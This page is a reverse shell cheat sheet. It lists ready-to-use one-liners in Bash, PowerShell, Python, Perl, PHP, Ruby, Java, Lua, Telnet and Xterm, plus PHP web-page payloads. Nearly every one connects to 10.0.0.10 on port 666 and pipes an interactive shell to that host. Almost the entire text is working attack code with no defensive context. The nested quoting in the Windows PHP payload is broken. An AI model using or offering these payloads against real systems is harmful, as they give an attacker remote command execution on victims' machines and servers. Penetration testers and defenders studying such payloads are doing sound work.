Reverse Shell Cheat Sheet

You can find them all around the internet.

One-liners

Bash

bash -i >& /dev/tcp/10.0.0.10/666 0>&1

or

0<&196;exec 196<>/dev/tcp/10.0.0.10/666; sh <&196 >&196 2>&196

or

bash -c 'bash -i >& /dev/tcp/10.0.0.10/666 0>&1'

PowerShell

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.10',666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -Name System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Python for Linux

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.10",666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

or

__import__("os").system("bash -c 'bash -i >& /dev/tcp/10.0.0.10/666 0>&1'")

Python for Windows

exec("""import os, socket, subprocess, threading, sys\ndef s2p(s, p):\n    while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()\ndef p2s(s, p):\n    while True: s.send(p.stdout.read(1).encode())\ns=socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nwhile True:\n    try: s.connect(("10.0.0.10",666)); break\n    except: pass\np=subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)\nthreading.Thread(target=s2p, args=[s,p], daemon=True).start()\nthreading.Thread(target=p2s, args=[s,p], daemon=True).start()\ntry: p.wait()\nexcept: s.close(); sys.exit(0)""")

or

Perl

perl -e 'use Socket;$i="10.0.0.10";$p=666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

php -r '$sock=fsockopen("10.0.0.10",666);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.10",666).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.10/666;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();

Lua

lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('10.0.0.10',666);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"

Telnet

telnet localhost 443 | /bin/sh | telnet localhost 444

Xterm

xterm -display 10.0.0.10:1

PHP Web Pages

Linux

<?php echo shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/666 0>&1'")?>

Windows

<?php echo shell_exec("powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.10',666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -Name System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"")?>
